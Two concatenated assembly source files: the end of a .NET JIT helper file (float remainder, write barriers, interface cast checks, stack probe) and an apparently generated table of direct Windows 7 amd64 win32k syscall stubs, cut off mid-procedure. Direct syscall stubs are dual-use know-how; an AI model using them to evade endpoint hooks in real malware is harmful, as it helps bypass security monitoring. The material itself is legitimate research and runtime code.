fld qword ptr [esp+4] ; divisor fld qword ptr [esp+12] ; dividend fremloopd: fprem fstsw ax fwait sahf jp fremloopd ; Continue while the FPU status bit C2 is set fxch ; swap, so divisor is on top and result is in st(1) fstp ST(0) ; Pop the divisor from the FP stack retn 16 ; Return value is in st(0) @JIT_DblRem@16 endp ;------------------------------------------------------------------------------ ; PatchedCodeStart and PatchedCodeEnd are used to determine bounds of patched code. ; _JIT_PatchedCodeStart@0 proc public ret _JIT_PatchedCodeStart@0 endp ALIGN 4 ;********************************************************************** ; Write barriers generated at runtime PUBLIC _JIT_PatchedWriteBarrierGroup@0 _JIT_PatchedWriteBarrierGroup@0 PROC ret _JIT_PatchedWriteBarrierGroup@0 ENDP PatchedWriteBarrierHelper MACRO rg ALIGN 8 PUBLIC _JIT_WriteBarrier&rg&@0 _JIT_WriteBarrier&rg&@0 PROC ; Just allocate space that will be filled in at runtime db (48) DUP (0CCh) _JIT_WriteBarrier&rg&@0 ENDP ENDM PatchedWriteBarrierHelper <EAX> PatchedWriteBarrierHelper <EBX> PatchedWriteBarrierHelper <ECX> PatchedWriteBarrierHelper <ESI> PatchedWriteBarrierHelper <EDI> PatchedWriteBarrierHelper <EBP> PUBLIC _JIT_PatchedWriteBarrierGroup_End@0 _JIT_PatchedWriteBarrierGroup_End@0 PROC ret _JIT_PatchedWriteBarrierGroup_End@0 ENDP _JIT_PatchedCodeLast@0 proc public ret _JIT_PatchedCodeLast@0 endp ; This is the first function outside the "keep together range". Used by BBT scripts. _JIT_PatchedCodeEnd@0 proc public ret _JIT_PatchedCodeEnd@0 endp ; This is the ASM portion of JIT_IsInstanceOfInterface. For all the bizarre cases, it quickly ; fails and falls back on the JITutil_IsInstanceOfAny helper. So all failure cases take ; the slow path, too. ; ; ARGUMENT_REG1 = array or interface to check for. ; ARGUMENT_REG2 = instance to be cast. ALIGN 16 PUBLIC @JIT_IsInstanceOfInterface@8 @JIT_IsInstanceOfInterface@8 PROC test ARGUMENT_REG2, ARGUMENT_REG2 jz IsNullInst mov eax, [ARGUMENT_REG2] ; get MethodTable push ebx push esi movzx ebx, word ptr [eax+MethodTable_m_wNumInterfaces] ; check if this MT implements any interfaces test ebx, ebx jz IsInstanceOfInterfaceDoBizarre ; move Interface map ptr into eax mov eax, [eax+MethodTable_m_pInterfaceMap] IsInstanceOfInterfaceTop: ; eax -> current InterfaceInfo_t entry in interface map list ifdef FEATURE_PREJIT mov esi, [eax] test esi, 1 ; Move the deference out of line so that this jump is correctly predicted for the case ; when there is no indirection jnz IsInstanceOfInterfaceIndir cmp ARGUMENT_REG1, esi else cmp ARGUMENT_REG1, [eax] endif je IsInstanceOfInterfaceFound IsInstanceOfInterfaceNext: add eax, SIZEOF_InterfaceInfo_t dec ebx jnz IsInstanceOfInterfaceTop ; fall through to DoBizarre IsInstanceOfInterfaceDoBizarre: pop esi pop ebx mov eax, [ARGUMENT_REG2] ; get MethodTable test dword ptr [eax+MethodTable_m_dwFlags], NonTrivialInterfaceCastFlags jnz IsInstanceOfInterfaceNonTrivialCast IsNullInst: xor eax,eax ret ifdef FEATURE_PREJIT IsInstanceOfInterfaceIndir: cmp ARGUMENT_REG1,[esi-1] jne IsInstanceOfInterfaceNext endif IsInstanceOfInterfaceFound: pop esi pop ebx mov eax, ARGUMENT_REG2 ; the successful instance ret IsInstanceOfInterfaceNonTrivialCast: jmp @JITutil_IsInstanceOfInterface@8 @JIT_IsInstanceOfInterface@8 endp ; This is the ASM portion of JIT_ChkCastInterface. For all the bizarre cases, it quickly ; fails and falls back on the JITutil_ChkCastAny helper. So all failure cases take ; the slow path, too. ; ; ARGUMENT_REG1 = array or interface to check for. ; ARGUMENT_REG2 = instance to be cast. ALIGN 16 PUBLIC @JIT_ChkCastInterface@8 @JIT_ChkCastInterface@8 PROC test ARGUMENT_REG2, ARGUMENT_REG2 jz ChkCastInterfaceIsNullInst mov eax, [ARGUMENT_REG2] ; get MethodTable push ebx push esi movzx ebx, word ptr [eax+MethodTable_m_wNumInterfaces] ; speculatively move Interface map ptr into eax mov eax, [eax+MethodTable_m_pInterfaceMap] ; check if this MT implements any interfaces test ebx, ebx jz ChkCastInterfaceDoBizarre ChkCastInterfaceTop: ; eax -> current InterfaceInfo_t entry in interface map list ifdef FEATURE_PREJIT mov esi, [eax] test esi, 1 ; Move the deference out of line so that this jump is correctly predicted for the case ; when there is no indirection jnz ChkCastInterfaceIndir cmp ARGUMENT_REG1, esi else cmp ARGUMENT_REG1, [eax] endif je ChkCastInterfaceFound ChkCastInterfaceNext: add eax, SIZEOF_InterfaceInfo_t dec ebx jnz ChkCastInterfaceTop ; fall through to DoBizarre ChkCastInterfaceDoBizarre: pop esi pop ebx jmp @JITutil_ChkCastInterface@8 ifdef FEATURE_PREJIT ChkCastInterfaceIndir: cmp ARGUMENT_REG1,[esi-1] jne ChkCastInterfaceNext endif ChkCastInterfaceFound: pop esi pop ebx ChkCastInterfaceIsNullInst: mov eax, ARGUMENT_REG2 ; either null, or the successful instance ret @JIT_ChkCastInterface@8 endp ; Note that the debugger skips this entirely when doing SetIP, ; since COMPlusCheckForAbort should always return 0. Excep.cpp:LeaveCatch ; asserts that to be true. If this ends up doing more work, then the ; debugger may need additional support. ; void __stdcall JIT_EndCatch(); JIT_EndCatch PROC stdcall public ; make temp storage for return address, and push the address of that ; as the last arg to COMPlusEndCatch mov ecx, [esp] push ecx; push esp; ; push the rest of COMPlusEndCatch's args, right-to-left push esi push edi push ebx push ebp call _COMPlusEndCatch@20 ; returns old esp value in eax, stores jump address ; now eax = new esp, [esp] = new eip pop edx ; edx = new eip mov esp, eax ; esp = new esp jmp edx ; eip = new eip JIT_EndCatch ENDP ; The following helper will access ("probe") a word on each page of the stack ; starting with the page right beneath esp down to the one pointed to by eax. ; The procedure is needed to make sure that the "guard" page is pushed down below the allocated stack frame. ; The call to the helper will be emitted by JIT in the function prolog when large (larger than 0x3000 bytes) stack frame is required. ; ; NOTE: this helper will modify a value of esp and must establish the frame pointer. PAGE_SIZE equ 1000h _JIT_StackProbe@0 PROC public ; On entry: ; eax - the lowest address of the stack frame being allocated (i.e. [InitialSp - FrameSize]) ; ; NOTE: this helper will probe at least one page below the one pointed by esp. push ebp mov ebp, esp and esp, -PAGE_SIZE ; esp points to the **lowest address** on the last probed page ; This is done to make the loop end condition simpler. ProbeLoop: sub esp, PAGE_SIZE ; esp points to the lowest address of the **next page** to probe test [esp], eax ; esp points to the lowest address on the **last probed** page cmp esp, eax jg ProbeLoop ; if esp > eax, then we need to probe at least one more page. mov esp, ebp pop ebp ret _JIT_StackProbe@0 ENDP end
project/win32kstub/amd64/6_1_7600_sp0_shadowssdt_sysenter.asm
rmusser01/windows-syscall-table
6
13368
<filename>project/win32kstub/amd64/6_1_7600_sp0_shadowssdt_sysenter.asm<gh_stars>1-10 ; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; shadowssdt asm stub for 6.1.7600-sp0-windows-7 amd64 option casemap:none option prologue:none option epilogue:none .code ; ULONG64 __stdcall NtUserGetThreadState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetThreadState PROC STDCALL mov r10 , rcx mov eax , 4096 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetThreadState ENDP ; ULONG64 __stdcall NtUserPeekMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserPeekMessage PROC STDCALL mov r10 , rcx mov eax , 4097 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPeekMessage ENDP ; ULONG64 __stdcall NtUserCallOneParam( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCallOneParam PROC STDCALL mov r10 , rcx mov eax , 4098 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallOneParam ENDP ; ULONG64 __stdcall NtUserGetKeyState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetKeyState PROC STDCALL mov r10 , rcx mov eax , 4099 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetKeyState ENDP ; ULONG64 __stdcall NtUserInvalidateRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserInvalidateRect PROC STDCALL mov r10 , rcx mov eax , 4100 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInvalidateRect ENDP ; ULONG64 __stdcall NtUserCallNoParam( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserCallNoParam PROC STDCALL mov r10 , rcx mov eax , 4101 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallNoParam ENDP ; ULONG64 __stdcall NtUserGetMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetMessage PROC STDCALL mov r10 , rcx mov eax , 4102 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetMessage ENDP ; ULONG64 __stdcall NtUserMessageCall( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserMessageCall PROC STDCALL mov r10 , rcx mov eax , 4103 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMessageCall ENDP ; ULONG64 __stdcall NtGdiBitBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiBitBlt PROC STDCALL mov r10 , rcx mov eax , 4104 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiBitBlt ENDP ; ULONG64 __stdcall NtGdiGetCharSet( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetCharSet PROC STDCALL mov r10 , rcx mov eax , 4105 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCharSet ENDP ; ULONG64 __stdcall NtUserGetDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetDC PROC STDCALL mov r10 , rcx mov eax , 4106 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetDC ENDP ; ULONG64 __stdcall NtGdiSelectBitmap( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSelectBitmap PROC STDCALL mov r10 , rcx mov eax , 4107 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSelectBitmap ENDP ; ULONG64 __stdcall NtUserWaitMessage( ); _6_1_7600_sp0_windows_7_NtUserWaitMessage PROC STDCALL mov r10 , rcx mov eax , 4108 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserWaitMessage ENDP ; ULONG64 __stdcall NtUserTranslateMessage( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserTranslateMessage PROC STDCALL mov r10 , rcx mov eax , 4109 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserTranslateMessage ENDP ; ULONG64 __stdcall NtUserGetProp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetProp PROC STDCALL mov r10 , rcx mov eax , 4110 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetProp ENDP ; ULONG64 __stdcall NtUserPostMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserPostMessage PROC STDCALL mov r10 , rcx mov eax , 4111 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPostMessage ENDP ; ULONG64 __stdcall NtUserQueryWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserQueryWindow PROC STDCALL mov r10 , rcx mov eax , 4112 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserQueryWindow ENDP ; ULONG64 __stdcall NtUserTranslateAccelerator( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserTranslateAccelerator PROC STDCALL mov r10 , rcx mov eax , 4113 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserTranslateAccelerator ENDP ; ULONG64 __stdcall NtGdiFlush( ); _6_1_7600_sp0_windows_7_NtGdiFlush PROC STDCALL mov r10 , rcx mov eax , 4114 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFlush ENDP ; ULONG64 __stdcall NtUserRedrawWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserRedrawWindow PROC STDCALL mov r10 , rcx mov eax , 4115 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRedrawWindow ENDP ; ULONG64 __stdcall NtUserWindowFromPoint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserWindowFromPoint PROC STDCALL mov r10 , rcx mov eax , 4116 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserWindowFromPoint ENDP ; ULONG64 __stdcall NtUserCallMsgFilter( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCallMsgFilter PROC STDCALL mov r10 , rcx mov eax , 4117 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallMsgFilter ENDP ; ULONG64 __stdcall NtUserValidateTimerCallback( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserValidateTimerCallback PROC STDCALL mov r10 , rcx mov eax , 4118 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserValidateTimerCallback ENDP ; ULONG64 __stdcall NtUserBeginPaint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserBeginPaint PROC STDCALL mov r10 , rcx mov eax , 4119 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBeginPaint ENDP ; ULONG64 __stdcall NtUserSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetTimer PROC STDCALL mov r10 , rcx mov eax , 4120 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetTimer ENDP ; ULONG64 __stdcall NtUserEndPaint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserEndPaint PROC STDCALL mov r10 , rcx mov eax , 4121 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEndPaint ENDP ; ULONG64 __stdcall NtUserSetCursor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetCursor PROC STDCALL mov r10 , rcx mov eax , 4122 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetCursor ENDP ; ULONG64 __stdcall NtUserKillTimer( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserKillTimer PROC STDCALL mov r10 , rcx mov eax , 4123 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserKillTimer ENDP ; ULONG64 __stdcall NtUserBuildHwndList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserBuildHwndList PROC STDCALL mov r10 , rcx mov eax , 4124 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBuildHwndList ENDP ; ULONG64 __stdcall NtUserSelectPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSelectPalette PROC STDCALL mov r10 , rcx mov eax , 4125 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSelectPalette ENDP ; ULONG64 __stdcall NtUserCallNextHookEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserCallNextHookEx PROC STDCALL mov r10 , rcx mov eax , 4126 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallNextHookEx ENDP ; ULONG64 __stdcall NtUserHideCaret( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserHideCaret PROC STDCALL mov r10 , rcx mov eax , 4127 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHideCaret ENDP ; ULONG64 __stdcall NtGdiIntersectClipRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiIntersectClipRect PROC STDCALL mov r10 , rcx mov eax , 4128 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiIntersectClipRect ENDP ; ULONG64 __stdcall NtUserCallHwndLock( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCallHwndLock PROC STDCALL mov r10 , rcx mov eax , 4129 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallHwndLock ENDP ; ULONG64 __stdcall NtUserGetProcessWindowStation( ); _6_1_7600_sp0_windows_7_NtUserGetProcessWindowStation PROC STDCALL mov r10 , rcx mov eax , 4130 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetProcessWindowStation ENDP ; ULONG64 __stdcall NtGdiDeleteObjectApp( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDeleteObjectApp PROC STDCALL mov r10 , rcx mov eax , 4131 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDeleteObjectApp ENDP ; ULONG64 __stdcall NtUserSetWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserSetWindowPos PROC STDCALL mov r10 , rcx mov eax , 4132 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowPos ENDP ; ULONG64 __stdcall NtUserShowCaret( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserShowCaret PROC STDCALL mov r10 , rcx mov eax , 4133 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserShowCaret ENDP ; ULONG64 __stdcall NtUserEndDeferWindowPosEx( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserEndDeferWindowPosEx PROC STDCALL mov r10 , rcx mov eax , 4134 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEndDeferWindowPosEx ENDP ; ULONG64 __stdcall NtUserCallHwndParamLock( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCallHwndParamLock PROC STDCALL mov r10 , rcx mov eax , 4135 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallHwndParamLock ENDP ; ULONG64 __stdcall NtUserVkKeyScanEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserVkKeyScanEx PROC STDCALL mov r10 , rcx mov eax , 4136 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserVkKeyScanEx ENDP ; ULONG64 __stdcall NtGdiSetDIBitsToDeviceInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 ); _6_1_7600_sp0_windows_7_NtGdiSetDIBitsToDeviceInternal PROC STDCALL mov r10 , rcx mov eax , 4137 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetDIBitsToDeviceInternal ENDP ; ULONG64 __stdcall NtUserCallTwoParam( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCallTwoParam PROC STDCALL mov r10 , rcx mov eax , 4138 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallTwoParam ENDP ; ULONG64 __stdcall NtGdiGetRandomRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetRandomRgn PROC STDCALL mov r10 , rcx mov eax , 4139 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetRandomRgn ENDP ; ULONG64 __stdcall NtUserCopyAcceleratorTable( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCopyAcceleratorTable PROC STDCALL mov r10 , rcx mov eax , 4140 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCopyAcceleratorTable ENDP ; ULONG64 __stdcall NtUserNotifyWinEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserNotifyWinEvent PROC STDCALL mov r10 , rcx mov eax , 4141 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserNotifyWinEvent ENDP ; ULONG64 __stdcall NtGdiExtSelectClipRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiExtSelectClipRgn PROC STDCALL mov r10 , rcx mov eax , 4142 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtSelectClipRgn ENDP ; ULONG64 __stdcall NtUserIsClipboardFormatAvailable( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserIsClipboardFormatAvailable PROC STDCALL mov r10 , rcx mov eax , 4143 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserIsClipboardFormatAvailable ENDP ; ULONG64 __stdcall NtUserSetScrollInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetScrollInfo PROC STDCALL mov r10 , rcx mov eax , 4144 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetScrollInfo ENDP ; ULONG64 __stdcall NtGdiStretchBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); _6_1_7600_sp0_windows_7_NtGdiStretchBlt PROC STDCALL mov r10 , rcx mov eax , 4145 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStretchBlt ENDP ; ULONG64 __stdcall NtUserCreateCaret( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserCreateCaret PROC STDCALL mov r10 , rcx mov eax , 4146 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateCaret ENDP ; ULONG64 __stdcall NtGdiRectVisible( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiRectVisible PROC STDCALL mov r10 , rcx mov eax , 4147 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRectVisible ENDP ; ULONG64 __stdcall NtGdiCombineRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiCombineRgn PROC STDCALL mov r10 , rcx mov eax , 4148 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCombineRgn ENDP ; ULONG64 __stdcall NtGdiGetDCObject( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetDCObject PROC STDCALL mov r10 , rcx mov eax , 4149 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDCObject ENDP ; ULONG64 __stdcall NtUserDispatchMessage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDispatchMessage PROC STDCALL mov r10 , rcx mov eax , 4150 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDispatchMessage ENDP ; ULONG64 __stdcall NtUserRegisterWindowMessage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserRegisterWindowMessage PROC STDCALL mov r10 , rcx mov eax , 4151 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterWindowMessage ENDP ; ULONG64 __stdcall NtGdiExtTextOutW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_1_7600_sp0_windows_7_NtGdiExtTextOutW PROC STDCALL mov r10 , rcx mov eax , 4152 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtTextOutW ENDP ; ULONG64 __stdcall NtGdiSelectFont( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSelectFont PROC STDCALL mov r10 , rcx mov eax , 4153 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSelectFont ENDP ; ULONG64 __stdcall NtGdiRestoreDC( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiRestoreDC PROC STDCALL mov r10 , rcx mov eax , 4154 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRestoreDC ENDP ; ULONG64 __stdcall NtGdiSaveDC( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSaveDC PROC STDCALL mov r10 , rcx mov eax , 4155 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSaveDC ENDP ; ULONG64 __stdcall NtUserGetForegroundWindow( ); _6_1_7600_sp0_windows_7_NtUserGetForegroundWindow PROC STDCALL mov r10 , rcx mov eax , 4156 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetForegroundWindow ENDP ; ULONG64 __stdcall NtUserShowScrollBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserShowScrollBar PROC STDCALL mov r10 , rcx mov eax , 4157 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserShowScrollBar ENDP ; ULONG64 __stdcall NtUserFindExistingCursorIcon( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserFindExistingCursorIcon PROC STDCALL mov r10 , rcx mov eax , 4158 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserFindExistingCursorIcon ENDP ; ULONG64 __stdcall NtGdiGetDCDword( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetDCDword PROC STDCALL mov r10 , rcx mov eax , 4159 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDCDword ENDP ; ULONG64 __stdcall NtGdiGetRegionData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetRegionData PROC STDCALL mov r10 , rcx mov eax , 4160 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetRegionData ENDP ; ULONG64 __stdcall NtGdiLineTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiLineTo PROC STDCALL mov r10 , rcx mov eax , 4161 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiLineTo ENDP ; ULONG64 __stdcall NtUserSystemParametersInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSystemParametersInfo PROC STDCALL mov r10 , rcx mov eax , 4162 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSystemParametersInfo ENDP ; ULONG64 __stdcall NtGdiGetAppClipBox( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetAppClipBox PROC STDCALL mov r10 , rcx mov eax , 4163 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetAppClipBox ENDP ; ULONG64 __stdcall NtUserGetAsyncKeyState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetAsyncKeyState PROC STDCALL mov r10 , rcx mov eax , 4164 